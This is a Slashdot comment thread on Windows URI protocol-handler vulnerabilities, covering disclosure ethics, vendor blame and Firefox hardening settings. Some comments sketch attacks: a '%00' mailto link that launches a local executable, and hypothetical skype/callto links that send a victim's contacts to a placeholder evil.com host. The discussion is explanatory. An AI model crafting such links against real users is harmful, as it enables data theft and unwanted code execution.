New URI Browser Flaws Worse Than First Thought 149
narramissic writes "URI (Uniform Resource Identifier) bugs have become a hot topic over the past month, since researcher Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox. Now, security researchers Billy Rios and Nathan McFeters say they've discovered a number of ways attackers could misuse the URI protocol handler technology to steal data from a victim's computer. 'It is possible through the URI to actually steal content form the user's machine and upload that content to a remote server of the attacker's choice,' said McFetters, a senior security advisor for Ernst & Young Global Ltd. 'This is all through functionality that the application provides.'"
Oh my (Score:5, Informative)
It is impossible to say whether this bug is really exploitable, whether it matters at all. So far they ("security researchers") can be only getting a free publicity. Is this news for nerds?
Re: (Score:2)
If you actually read through till the last para, you ill note that the bug has something to do with Microsoft, Registry, Internet Explorer and registering programs.
Re: (Score:2)
That unholy trinity does not give me a warm and fuzzy feeling.
Re:Oh my (Score:5, Informative)
"On Windows XP some urls for "web" protocols that contain %00 launch the wrong
handler and appear to be able to launch local programs, with limited argument
passing. It is not yet clear that this can be used to compromise a machine but
we can always fear the worst.
The same behavior is observed using "Run" from the Windows Start menu for the
affected protocols (http, https, ftp, gopher, telnet, mailto, news, snews,
nttp, possibly others?).
The behavior seems to be that if there's a %00 in the URL for these schemes
then the URL Protocol handler is not called, instead the FileType handler is
called based on the extension of the full url. The url is then passed to that
File handler. For "non-web" URL handlers the URL is passed to the expected
handler.
In Firefox browser protocols are handled internally so are not vulnerable, but
the mailnews protocols are handed off to the OS and can be abused in this way."
====
So you can construct a uri like: "mailto:/...%00...something.exe"
Firefox sees mailto and hands it to Windows to give it to the mail program
Windows sees %00 and mistakenly hands it to the FileType handler.
The FileType handler sees ".exe" and runs the program.
%00 backdoor in Windows OS (Score:2)
Great. MS became the "gatekeeper" to all networking security bugs in their OS when they integrated IE into the operating system back in 1997. This is easily fixed by not allowing the URI handler in the OS to behave strangely when given specific inputs (such as %00 and " ).
In short, Microsoft should remove the backdoor. 'Nuff said.
--
Toro
Re: (Score:3, Insightful)
That's on purpose - they don't want their article to give hackers any real direction on how to exploit it. From TFA..."Rios and McFetters plan to release the results of their research after the vendor has had a chance to fix the problem".
Yes, this is news for nerds - I know I'll be avoiding the URI protocol cautiously, if at all. I am duly informed. (Of course a real nerd would have known this already, so I have to turn in my card, I g
Re:Oh my (Score:4, Informative)
The only thing that happens when people "claim" to have discovered an exploit without proof is that a lot of gullible people start panicking and unscrupulous reporters and bloggers who'll propagate the rumour for weeks. It's like yelling "fire" in a crowded room.
If they really have an exploit, they should just share it or STFU. There's enough garbage information on the internet as is, there's no need for them to the dung pile.
Re:Oh my (Score:4, Insightful)
In this case, additional researchers have even verified the issue after the initial report. If you still don't believe there is an issue (fair enough it's good to be skeptical), you can always do a tad of research into these researches history to help decide if you think they are trustworthy or not. If still that isn't enough, well then I guess you'll have to just find these issues yourself and you can publish anything you want about them. Until then the researchers who find an issue should have the right to handle it any way they choose. They don't answer to you.
It's like yelling "fire" in a crowded room.
Seems more like they are more warning that there is a pile of debris in the room which could be a fire hazard. You suggestion would be more like noticing that fire hazard and deciding to dump gas on it and then toss on a match.
Re: (Score:3, Insightful)
It's very nice of them if they want to give the vendors time to fix their software, but they should announce their results _after_ the patch is ready in that case. Announcing early and claiming "responsible reporting" while not explaining enough for users to protect themselves is a publicity stunt.
Here's a few things that I think are wrong with the "responsible reporting" idea: it
Re:Oh my (Score:4, Interesting)
I don't think either of those suggestions are "bad", just that sadly they have historically had thier own issues which at least in many peoples opinions outway the gains of those methods.
"announce with proof ASAP" - sadly history shows that when this is done unscrupulous people will then take that knowledge and use it to create malware which can cause MAJOR damage. This is why there has been talk of even making this illegal (which I COMPLETELY disagree with). It is true that "with proof" a tiny percentage of the computer using population will be able to avoid the issue. However, the VAST majority still won't even hear of the issue (as they don't follow such news) let alone know what to do about it. The result is hackers are given the gift of complete knowledge of an exploit which many millions of computers and users will have no defense against.
"announce once a patch is ready" - again sadly it has been shown over and over again that many (if not most) products will not put the urgency into a security fix unless there is public pressure to do so. This has certainly improved greatly over the last decade, but I still don't think we are at a point where we can trust them on this without pressure.
There is a fairly popular variation on your second idea which is to notify the software developer but don't announce until you have given them reasonable time to patch it. This will give them the chance to do the "right thing" on thier own without the public pressure but researchers can still release the information later if they feel the patch is too long in coming.
I actually do prefer that option, but there is the arguement that a company will never feel quite the sense of urgency as they would when an overview of the issue hits the media. And it follows that then the patch will take longer and someone less than altruistic could also find the same issue in the mean time and release an exploit.
I don't have a real strong preference between the options of notify the software developers first and wait a reasonable amount of time, or notify and release high level overview at the same time. I'd actually probably have a slight preference for the former, but it does seem the later is the more popular. Probably for the reasons you give, that they want to be sure they are given the credit (and attention) of the find
Re: (Score:3, Insightful)
in which case I don't care at all.
I'm sure there are people who install 3rd party URL handlers as willy nilly as they install free screensavers and weather applets, but I don't, and neither should they, so again, I don't care.
If on the other hand they're saying there's a URI parsing error in major browse
Re:Oh my (Score:4, Interesting)
I'm usually all for the spread of information, but this has the potential to be a scriptkiddy's wet dream. And as I've stated before, I don't fear the hacker, I fear the scriptkiddy. Not because he's smart, but because he's many and he drowns you simply with quantity, not quality.
Care to provide details? (Score:2)
I am anxious to see how these guys plan to remotely install a URI handler into the registry without any user intervention, unless they are using some other remote exploit, in which case THAT is the actual bug.
Re: (Score:2, Insightful)
Re: (Score:2)
Re: (Score:3, Informative)
Re:Oh my (Score:4, Informative)
Re:Here it is (Score:2)
This is the clear indication of problem being a Windows only:
Guess what is this mysterious "browser" thing.
Re: (Score:2)
This is the clear indication of problem being a Windows only:
Guess what is this mysterious "browser" thing.
Re: (Score:2)
1:Find ad popup code that can't be killed easily.
2:Claim to Slashdot that you've discovered a trivial but really nasty browser exploit that nobody knows about, and provide a link to an article that says the same thing.
3:Watch your ad views rack up.
4:Profit!
Re: (Score:2)
Re: (Score:2)
It'd also help if they'd clarify their terminology:
Firefox is a browser, last I checked. So if I'm not using another browser, no browsers will be sending any data to firefox, and I'll therefore be safe, right? This doesn't make any sense. What are they really trying to say?
Re: (Score:2)
Re: (Score:2, Informative)
Here are some useful excerpts from the Cert advisory:
It's the Usual M$ Sabotage and FUD. (Score:2, Insightful)
Important details have been obscured on purpose to FUD Mozilla. I'm surprised they bothered to point out it's Windoze only in the first paragraph, but here's the glaring part of the FUD:
Re: (Score:3, Informative)
Surprisingly it's not a problem if Firefox isn't installed.
Problem is not Firefox. (Score:3, Informative)
M$ Defender, Macthorpe claims what M$ won't directly:
Surprisingly it's not a problem if Firefox isn't installed.
Not even this highly spun article goes that far.
So IE, mention
Re: (Score:2)
How can IE do the trick without Firefox installed?
By using the same URI Windows calls Firefox on Windows uses. Those would probably be the ones downgraded by IE7 that created the problem in the first place. This explains why there was no problem before IE7 and the nebulous assertion that other "browsers and applications" have the same problem. Chances are that this is going to balloon out to anything web enabled on Windoze.
Re: (Score:2, Informative)
By using the same URI Windows calls Firefox on Windows uses.
Can I have this in English, please? I think you're trying to say that the 'firefox://' URI is a native Windows function, but it's not. Firefox registers it on install.
Those would probably be the ones downgraded by IE7 that created the problem in the first place
How can you downgrade a URI? It's a handler. It passes whatever is in it straight to Firefox without being edited, which is why this problem is happening in the first place.
This explains why there was no problem before IE7 and the nebulous assertion that other "browsers and applications" have the same problem.
Can you prove they don't? Run some tests for me. The people in the article have and they disagree with you.
Chances are that this is going to balloon out to anything web enabled on Windoze.
Like what? Give me an example.
Re: (Score:3, Informative)
You can stop trying to imply that this is some sort of sabotage by Microsoft, considering they'd be sabotaging themselves in the process. No different to your dumb claim that they "sabotaged" ACPI.
That's why Sabotage Sucks. (Score:2)
You can stop trying to imply that this is some sort of sabotage by Microsoft, considering they'd be sabotaging themselves in the process. No different to your dumb claim that they "sabotaged" ACPI.
It's nice of you to concede the destructive effects of this kind of competition. I would never argue that it's anything but self defeating for M$ but that does not keep them from doing it again and again.
A company that's been convicted of anti-competitive practices in several lawsuits has earned reasonable su
Re: (Score:2)
Seeing as I had a nice trio of negative mods all in a line I can see that calling you on your bullshit gives zealots a wakeup call - can't have all those people who know things educating people, can we? What's funny is, people expect that modding me down will shut me up. Fat chance. I e
Re: (Score:2)
Oops, you started out wrong here, zealot. Let's back up a bit. Don't put letters in my posts, and stop peppering yours with links to useless FUD that has been disproved time and time again. A little less of that petulant hillbilly prose would be nice, too.
Try again, and this time put some effort into it.
Re: (Score:2)
Re: (Score:1, Insightful)
it's the whole concept of custom URI handlers that is a security nightmare
Why?
The implementation may be flawed, but I see nothing about the concept itself that opens itself up to attack.
Sure, you could have a fuckmenow: protocol that launches a keylogger and starts sending data somewhere - but the keylogger would have to be installed, and would have to have registered the custom URI. If it can do that, it can fuck you in so many more ways that don't need the browser.
Re: (Score:2, Informative)
Think
callto://skypeuser?some¶ms&that&induce&sending &contacts&someone&else
Or something similar. I think the MS guy shouldn't have said "We at MS don't think we should be responsible for this" as it sounds like they *could* do something if they wanted. He really should have said "We can't stop stupid software makers
Re: (Score:2)
Why?
Because the more protocols your browser handles the less likely you are to know what's strange behaviour. The user gets a "learnt helplessness" response and just clicks on "OK" - or the equivilent - when they don't recognise what's happening because they've become used to not recognising what's happening.
A web browser should ONLY handle HTTP. Not FTP, not sFTP, not POP3, IMAP, or SMTP, not BitTorrent, not RealPlay, etc etc. By
Re: (Score:2)
FTA: (Score:5, Insightful)
When a similar problem kicked off with the firefox:// protocol in IE all anyone could say was "Why the hell would anyone use this?" The answer seemed to be along the lines of "Nobody does - it was a stupid thing to include in the first place."
Sounds like the same problem to me - and unnecessary and unsuitable solution to a non-existent problem causing far worse problems. As the proverb goes: if it ain't broke, don't start shoe-horning new and unsecured protocol-handling into the registry.
Re: (Score:3, Interesting)
First off, it was called firefoxurl://. Second, it is used - by Windows. This is part of what is required when registering a browser on that OS. It's pretty important if you want to set Firefox as the default browser.
Microsoft's (and Apple's) responsibility. (Score:2)
IE, this is a "shell" URI that should not be visible to non-trusted content *at all*.
There need to be separate registries for this.
OS X has the same problem, though at least there it doesn't include any equivalent to ActiveX, and the KHTML-based API makes it easier to implement a fix.
http://www.scarydevil.com/~peter/io/apple.html [scarydevil.com]
Re: (Score:2)
How else is firefox supposed to handle protocols liek mailto on a Windows system? The problem is that the URI's shouldn't have been trusted in the first place. The fact that they can execute arbitrary commands is appalling!
The fact that browsers have a protocol attached to them is bad taste, but it's also a red herring. The real problem is that URIs can execute arbitrary commands. Firefox has as much to do with this as a potato has to do with an airliner.
Re: (Score:2)
Using the URI bindings provided for *untrusted* objects. Just like it would use the MIME type bindings for untrusted objects.
The problem is that the URI's shouldn't have been trusted in the first place.
Certainly not the ones that browsers use.
The problem is not limited to URIs. There are also plugins, file-type mappings, MIME-type mappings, and so on. Most of these, no matter what type of binding they are, have nothing to do wi
Oh yeah. (Score:2)
if it ain't broke, don't start shoe-horning new and unsecured protocol-handling into the registry.
Because we all know what a tight machine M$ gave us without help from firefox [slashdot.org]. Wake me up when this is more than a Windoze problem.
Re: (Score:2)
A picture is worth a thousand words, even with jpeg compression
News? (Score:5, Interesting)
That's not news. That's old. Actually it's nothing but a change in the ancient URL/URI trick where you trick the user into believing a link sends him somewhere else (akin to something like this: http://www.microsoft.com [gentoo.org]).
The new part is that the URL/URI contains malformed links. Links, that don't just take you somewhere or offer you a torrent, but links that exploit a bug in your application. But it will hit the same group of people: Clickmonkeys who don't know what they're doing in the first place.
Re:News? (Score:5, Funny)
Thanks dude!
I installed that update to XP, and now my computer runs like a dream. Microsoft finally got it right!
Re:News? (Score:4, Funny)
Re: (Score:2)
Re:News? (Score:4, Funny)
Re: (Score:2)
Re: (Score:2)
When you use Evil JavaScript(tm) you can REALLY fuck with the user, who will have NO idea where the link goes, which is why tools like NoScript are so important. Don't surf naked - use NoScript [noscript.net]. Don't get me wrong, javascript can be useful, but so many sites use it gratuitously. They use it for things like roll-over highlighting, when CSS does it cleaner with less code. Most sites I visit seem to use javascript now. Less than half ac
Re: (Score:2)
Take Flash. Yes, it can actually be put to good use. Pages have used it to really increase the usability and accessability of the content. But most just use it to create a flashy show to hide the lack of content or meaning.
And yes, noscript and other security tools are important. But until this gets through to the clickmonkeys, it w
Re: (Score:2)
Most certainly not! I barely know you!
Though... we can change that...
Responsible application launching (Score:5, Interesting)
It would probably just be simpler to disable this functionality by default; I suspect not many people are really using their browser to launch other applications or do much beyond straightforward browsing (you konqueror people are something completely different!), or at least not to any meaningful extent. Where they are, some form of URI whitelist could do the job.
I don't think browsers are going to stop being capable of launching applications overnight; I fully acknowledge that a lot of enterprise systems rely on this. But it can certainly be done more responsibly.
Re: (Score:2)
Then how about letting me, the user, decide? Instead of simply activating everything, ask me whether I want a certain application to launch? I think I remember seeing something like this in a browser, forgot which one it was... FF, I think.
Re: (Score:2)
click on a "special" link, like <URL:ed2k://|file|ubuntu-7.04-desktop-i386.[conte
Opera says: "Would you like to open $PROGRAM to use this link?"
Re: (Score:1, Redundant)
Re: (Score:2)
Re: (Score:2)
Re: (Score:1)
Better protections would be
Re: (Score:2)
Whew... (Score:5, Funny)
Re: (Score:2)
OT (Score:2)
Re: (Score:1)
sure, Opportunist. (pun intended)
Re: (Score:1)
Yeah, yeah (Score:2, Flamebait)
Custom prefixes... blah! (Score:2, Interesting)
It's called a URI (Score:4, Insightful)
Is anyone complaining that Konqeuror can handle links like sftp://root@someftpsite ?
The whole article is stupid. It is going to come out that this is not remotely exploitable unless you use another remote exploit to install the 3rd party protocol handler.
Non story.
It's not stupid. (Score:3, Interesting)
Exploits using this approach have been found via IE since 1997, and via Safari since 200
Re: (Score:2)
It is not the web browser's job to validate input into external URI handlers. It is the URI handler's job.
A microsoft education for end users (Score:2)
Yep. We know all about Microsoft's education*:
In no event shall microsoft or its suppliers be liable for any special, incidental, punitive, indirect, or consequential damages whatsoever (including, but not limited to, damages for loss of profits or confidential or other information, for business interruption, for personal injury, for loss of privacy, for failure to meet any duty including of good faith or of reasonable care
Damn! (Score:2, Funny)
Nice to have features (Score:1)
Mike | Optimalprint [optimalprint.com]
Want to disable it alltogether ? (Score:4, Informative)
set network.protocol-handler.expose-all to false,
network.protocol-handler.expose.http to true,
network.protocol-handler.expose.javascript to true,
network.protocol-handler.expose.mailto to true and
remove all other network.protocol-handler.expose.*entries (or set them to false).
Set network.protocol-handler.external-default to false,
network.protocol-handler.external.mailto to true and
remove all other network.protocol-handler.external.* entries (of set them to false).
To be sure set network.protocol-handler.warn-external.file to true and
remove all network.protocol-handler.warn-external.* entries (or set them to true).
For more info start at http://kb.mozillazine.org/Network.protocol-handle
Beware, on windows things are different. See http://kb.mozillazine.org/Register_protocol [mozillazine.org]
Must be said (Score:2)
This is ten years old news! (Score:2)
http://www.scarydevil.com/~peter/io/apple.html [scarydevil.com] and later posts in http://www.scarydevil.com/~peter/io/ [scarydevil.com]
PS... (Score:2)
PPS: the last paragraph is 100% wrong... (Score:2)
100% wrong. Microsoft doesn't provide a mechanism for applications to create both secure URI handlers for browsers as well
Punishment for browser developers (Score:2)
Write 100 times on the whiteboard:
I will not launch applications from the browser.
I will not launch applications from the browser.
I will not launch applications from the browser.
I will not launch applications from the browser.
I will not launch applications from the browser.
I will not launch applications from the browser.
Easy solution? (Score:2)
It might be further improved to distinguish between clicked links and automatically triggered opens (like pop-up blocker does).
Re:Web 2.0 developers have betrayed us all (Score:5, Insightful)
AJAX is a hack sat on top of a 15 year legacy of hacks, and ultimately serves no purpose other than giving the 'delicious generation' something to drool at.
Re: (Score:1, Insightful)
AJAX is only useful because people are trying to use HTTP and HTML in ways that HTTP and HTML weren't meant to be used. It's not clever anymore, now it's just stupid.
That doesn't add much to your argument. I liked the old interface better. Maybe next we can argue about whether blue or orange is the better color.
Re:Web 2.0 developers have betrayed us all (Score:4, Funny)
Re:Web 2.0 developers have betrayed us all (Score:5, Interesting)
Using non idempotent GET / HEAD methods is poor programming but the purpose of HTTP is to share data using these methods http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.
HTTPXmlRequests should use those methods as described. It's not the fault of the technology,
HTML/CSS is a display technology, I'm not sure how using it to display things is abuse of its intent.
These flaws don't need XmlHttprequest, is also likely to be a vector
Re: (Score:2)
Re: (Score:2)
That doesn't add much to your argument. I liked the old interface better. Maybe next we can argue about whether blue or orange is the better color.
I like the ability to load truncated comments, and read collapsed comments, without reloading the whole page and losing my place in the thread. Being able to moderate a comment immediately, instead of waiting until I get all the way to the bottom of the page, is also nice. There are a few problems still, but generally the problems only affect things that you couldn't do with the old comment system anyway.
I'm curious as to what it is about the old interface that you prefer, or what about the new interface
Re: (Score:2, Interesting)
Re: (Score:2)
Tell that to the moderators. Until the new comment system I never made a moderation error. With the new system as soon as I select a moderation for a comment it gets applied. Recently I was moderating and I accidentally moved my mouse over the wrong rating (I meant insightful, but accidentally hit redundant); there was no way (as far as I could tell) to undo this mistake.
With the old system you selected mods for all comments
Re: (Score:2)
Easy to fix. Just hasn't been fixed yet.
Re: (Score:1)
Sure, that's a pretty reasonable assumption, but it's idiotic to blame it on the URI handler stuff, the web browser, or the operating system.
If there is such a bug in an application that has registered a custom URI, then any fault for any bug that may or may not exist lies squarely with the makers of that application.
The title of this submission has nothin
Re:What is the OS coverage? (Score:5, Interesting)
Take someone's earlier example of Skype. Lets assume you can do "skype --export-contacts --dest
You'd now have something like "skype --export-contacts --dest http://www.example.com/mybackupscript [example.com] --batch-mode". It does exactly what you want, you can archive your contacts, and you can event do it overnight to a remote location so it's accessible to you from anywhere and won't be lost in a disk crash. Only someone didn't secure it very well (again, bad implementation, not a bug) and someone somehow gets you to click on a link saying "skype:export-contacts&dest=http://www.evil.com/m
I'm sure there are lots of other similar alternatives, but the whole point is that it's badly validated input and not a bug. It's fairly sensible to have "skype:call-userid" as a link so that you can run up Skype and call someone. What it's not sensible to do is let that URI call do anything that can be done locally.
Re: (Score:2)
Easily mitigated, too, of course, because there's no rule that says that Skype's installer has to register the same executable as its protocol handler as it uses to handle user input at the command line. Use different executables, and the risk goes away. A small protocol handling exe that validates the in
Re: (Score:1)
IMO it wouldn't be a bug. To me a bug is something that shouldn't be happening, full stop. e.g. ability to inject data (as you can with a bad PHP script, register global variables and a specially constructed query string), ability to corrupt data or cause crashes (as you can do with a buffer overflow) or ability to bypass a security measure through some simple means (l
Re: (Score:2)
Re: (Score:1, Funny)
Re: (Score:3, Informative)
MacOSX has had a number of vulnerabilities due to URI handling:
Daring Fireball - Using the 'telnet' URI Protocol to Delete Files [daringfireball.net]
Mac OS X Volume URI Handler Registration Code Execution Vulnerability [secunia.com]
Apple Mac OS X SSH URI Handler Remote Code Execution Vulnerability [securityfocus.com]
As long
Re: (Score:2)
What do you consider to be the Linux standard for registering URI schemes in? Mailcap? Facilities specific to KDE or Gnome, like those provided in Konqueoror? Or Firefox's helper application registration?
I don't think Linux is immune to this sort of problem, but it seems like this is one place where the diversity of the desktop on Linux helps quite a bit. I am having a hard time coming up with a realistic way for this to be a problem for a user who runs Windowmaker or FVWM and doesn't install software fr
Re: (Score:1)